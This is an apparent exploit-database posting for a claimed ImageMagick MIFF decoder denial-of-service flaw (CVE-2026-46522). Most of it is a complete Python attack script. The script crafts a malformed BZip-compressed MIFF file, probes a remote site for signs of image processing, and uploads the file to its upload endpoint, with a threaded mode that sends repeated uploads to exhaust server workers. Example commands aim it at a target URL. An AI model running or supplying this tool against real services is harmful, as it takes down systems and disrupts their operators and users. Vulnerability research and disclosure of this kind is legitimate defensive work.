Lucene search
K

📄 ImageMagick 7.x MIFF Decoder Denial of Service

🗓️ 03 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 14 Views

ImageMagick MIFF decoder DoS via zero-length BZip block causing CPU exhaustion.

Related
Code
==================================================================================================================================
    | # Title     : ImageMagick 7.x MIFF Decoder CPU Exhaustion via BZip Compression Zero-Length Block                               |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://imagemagick.org                                                                                          |
    ==================================================================================================================================
    
    [+] Summary    :  The program generates a malicious MIFF image file designed to exploit a flaw in ImageMagick’s BZip decompression handling. 
                      The issue is triggered by a zero-length compressed block, which can cause ImageMagick to enter an infinite loop and consume 100% CPU.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import argparse
    import sys
    import os
    import time
    import threading
    import requests
    import urllib3
    from urllib.parse import urljoin
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class ImageMagickDoS:
        def __init__(self, target_url=None, output_path="/tmp/poc.miff", timeout=5, verbose=False):
            self.target_url = target_url.rstrip('/') if target_url else None
            self.output_path = output_path
            self.timeout = timeout
            self.verbose = verbose
            
        def log(self, msg, level="INFO"):
            colors = {
                "SUCCESS": "\033[92m[+]\033[0m",
                "ERROR": "\033[91m[-]\033[0m",
                "WARNING": "\033[93m[!]\033[0m",
                "INFO": "\033[96m[*]\033[0m",
                "PROC": "\033[94m[@]\033[0m"
            }
            print(f"{colors.get(level, '[*]')} {msg}")
        
        def craft_miff(self):
            """Generate malicious MIFF file with BZip compression and zero-length block"""
            header = (
                "id=ImageMagick version=1.0\n"
                "class=DirectClass colors=0 alpha-trait=Undefined\n"
                "number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007\n"
                "columns=1 rows=1 depth=8\n"
                "colorspace=sRGB compression=BZip quality=75\n"
            )
            body = b"\x0c\n" + b"\x00\x00\x00\x00"
            
            miff_data = header.encode() + body
            return miff_data
        
        def generate_file(self):
            """Save malicious MIFF file to disk"""
            miff_data = self.craft_miff()
            
            with open(self.output_path, 'wb') as f:
                f.write(miff_data)
            
            file_size = os.path.getsize(self.output_path)
            self.log(f"Generated malicious MIFF: {self.output_path} ({file_size} bytes)", "SUCCESS")
            
            return miff_data
        
        def test_local_imagemagick(self):
            """Test if local ImageMagick is vulnerable"""
            self.log("Testing local ImageMagick vulnerability...", "PROC")
            
            import subprocess
            try:
                subprocess.run(['which', 'identify'], capture_output=True, check=True)
            except subprocess.CalledProcessError:
                self.log("ImageMagick 'identify' command not found", "ERROR")
                return False
            cmd = f"timeout {self.timeout} identify {self.output_path}"
            self.log(f"Executing: {cmd}", "PROC")
            
            start_time = time.time()
            
            try:
                result = subprocess.run(cmd, shell=True, timeout=self.timeout + 1, 
                                       capture_output=True, text=True)
                elapsed = time.time() - start_time
                
                if elapsed >= self.timeout - 0.5:
                    self.log(f"Process killed after {elapsed:.2f}s (infinite loop detected)", "SUCCESS")
                    self.log("VULNERABLE - CPU would be exhausted!", "SUCCESS")
                    return True
                else:
                    self.log(f"Process completed in {elapsed:.2f}s (not vulnerable)", "ERROR")
                    return False
                    
            except subprocess.TimeoutExpired:
                elapsed = time.time() - start_time
                self.log(f"Process timed out after {elapsed:.2f}s (infinite loop detected)", "SUCCESS")
                self.log("VULNERABLE - CPU would be exhausted!", "SUCCESS")
                return True
            except Exception as e:
                self.log(f"Error: {e}", "ERROR")
                return False
        
        def upload_file(self, miff_data, filename, upload_endpoint, file_field='file'):
            """Upload malicious MIFF to vulnerable endpoint"""
            url = urljoin(self.target_url, upload_endpoint)
            files = {
                file_field: (filename, miff_data, 'image/x-miff')
            }
            
            self.log(f"Uploading to {url}...", "PROC")
            
            try:
                response = requests.post(url, files=files, timeout=self.timeout, verify=False)
                
                if response.status_code == 200 or response.status_code == 302:
                    self.log(f"Upload successful: HTTP {response.status_code}", "SUCCESS")
                    return True
                else:
                    self.log(f"Upload failed: HTTP {response.status_code}", "ERROR")
                    if self.verbose:
                        self.log(f"Response: {response.text[:200]}")
                    return False
                    
            except requests.exceptions.Timeout:
                self.log("Request timed out - service may be stuck processing the file", "SUCCESS")
                return True
            except Exception as e:
                self.log(f"Upload error: {e}", "ERROR")
                return False
        
        def multiple_uploads(self, miff_data, count=10, upload_endpoint='/upload', 
                             file_field='file', delay=0.5):
            """Send multiple uploads to exhaust worker processes"""
            self.log(f"Sending {count} uploads to exhaust workers...", "PROC")
            
            successful = 0
            threads = []
            
            def upload_worker(upload_id):
                filename = f"poc_{upload_id}_{int(time.time())}.miff"
                if self.upload_file(miff_data, filename, upload_endpoint, file_field):
                    nonlocal successful
                    successful += 1
            
            for i in range(count):
                t = threading.Thread(target=upload_worker, args=(i,))
                t.start()
                threads.append(t)
                time.sleep(delay)
            
            for t in threads:
                t.join()
            
            self.log(f"Successfully uploaded {successful}/{count} files", "SUCCESS")
            return successful
        
        def detect_imagemagick_service(self, test_path='/'):
            """Check if remote service might be using ImageMagick"""
            if not self.target_url:
                return False
            
            url = urljoin(self.target_url, test_path)
            self.log(f"Checking {url} for ImageMagick indicators...", "PROC")
            
            try:
                response = requests.get(url, timeout=10, verify=False)
                
                indicators = [
                    'ImageMagick', 'magick', 'convert', 'identify',
                    'image/jpeg', 'image/png', 'image/gif'
                ]
                
                for indicator in indicators:
                    if indicator.lower() in response.text.lower():
                        self.log(f"Found ImageMagick indicator: {indicator}", "SUCCESS")
                        return True
                content_type = response.headers.get('Content-Type', '')
                if 'image' in content_type:
                    self.log(f"Content-Type indicates image processing: {content_type}", "INFO")
                    return True
                
                self.log("No ImageMagick indicators found", "WARNING")
                return False
                
            except Exception as e:
                self.log(f"Detection error: {e}", "ERROR")
                return False
        
        def run_dos_attack(self, upload_endpoint='/upload', file_field='file', 
                           multiple=False, upload_count=10, delay=0.5):
            """Execute DoS attack against remote service"""
            if not self.target_url:
                self.log("No target URL configured", "ERROR")
                return False
            self.log(f"Target: {self.target_url}", "INFO")
            self.detect_imagemagick_service()
            miff_data = self.craft_miff()
            self.log(f"Malicious MIFF size: {len(miff_data)} bytes", "INFO")
            if multiple:
                successful = self.multiple_uploads(miff_data, upload_count, 
                                                   upload_endpoint, file_field, delay)
                if successful > 0:
                    self.log(f"DoS attack successful with {successful} file(s)!", "SUCCESS")
                    return True
            else:
                filename = f"poc_{int(time.time())}.miff"
                if self.upload_file(miff_data, filename, upload_endpoint, file_field):
                    self.log("DoS attack successful! Target worker is stuck.", "SUCCESS")
                    return True
            
            self.log("DoS attack failed", "ERROR")
            return False
        
        def run(self, upload_endpoint=None, file_field='file', multiple=False, 
                upload_count=10, delay=0.5, test_only=False):
            """Main exploit routine"""
            
            self.log("CVE-2026-46522 - ImageMagick MIFF Decoder DoS Exploit", "INFO")
            miff_data = self.generate_file()
            is_vulnerable = self.test_local_imagemagick()
            if test_only:
                return is_vulnerable
            if upload_endpoint and self.target_url:
                return self.run_dos_attack(upload_endpoint, file_field, multiple, 
                                          upload_count, delay)
            return is_vulnerable
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-46522 - ImageMagick MIFF Decoder Infinite Loop DoS",
            epilog="""
    Examples:
      python3 exploit.py -o /tmp/poc.miff
      python3 exploit.py -o /tmp/poc.miff --test-local
      python3 exploit.py -t http://target.com -u /upload -f file
      python3 exploit.py -t http://target.com -u /upload -f file --multiple --count 20
      python3 exploit.py -t http://target.com -u /upload --timeout 10 --verbose
            """
        )
    
        parser.add_argument("-t", "--target", help="Target URL (e.g., http://example.com)")
        parser.add_argument("-u", "--upload-endpoint", default="/upload", 
                            help="Upload endpoint path (default: /upload)")
        parser.add_argument("-f", "--file-field", default="file", 
                            help="Multipart file field name (default: file)")
        parser.add_argument("-o", "--output", default="/tmp/poc.miff", 
                            help="Output path for malicious MIFF file (default: /tmp/poc.miff)")
        parser.add_argument("--multiple", action="store_true", 
                            help="Send multiple uploads to exhaust workers")
        parser.add_argument("--count", type=int, default=10, 
                            help="Number of uploads when using --multiple (default: 10)")
        parser.add_argument("--delay", type=float, default=0.5, 
                            help="Delay between uploads in seconds (default: 0.5)")
        parser.add_argument("--timeout", type=int, default=5, 
                            help="Timeout for processing in seconds (default: 5)")
        parser.add_argument("--test-local", action="store_true", 
                            help="Test local ImageMagick vulnerability only")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        
        args = parser.parse_args()
        
        print("""
    ╔══════════════════════════════════════════════════════════════════╗
    ║  CVE-2026-46522 - ImageMagick MIFF Decoder Infinite Loop DoS    ║
    ║  CPU Exhaustion via BZip Compression Zero-Length Block          ║
    ╚══════════════════════════════════════════════════════════════════╝
        """)
        
        exploit = ImageMagickDoS(
            target_url=args.target,
            output_path=args.output,
            timeout=args.timeout,
            verbose=args.verbose
        )
        
        if args.test_local:
            success = exploit.run(test_only=True)
            sys.exit(0 if success else 1)
        
        elif args.target:
            success = exploit.run(
                upload_endpoint=args.upload_endpoint,
                file_field=args.file_field,
                multiple=args.multiple,
                upload_count=args.count,
                delay=args.delay
            )
            sys.exit(0 if success else 1)
        
        else:
            exploit.generate_file()
            print("\n[+] File generation complete")
            print(f"[+] Test with: identify {args.output}")
            print(f"[+] Expected: Process will hang and consume 100% CPU")
            sys.exit(0)
    
    
    if __name__ == "__main__":
        main()
    
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jul 2026 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.17.5
EPSS0.01849
SSVC
14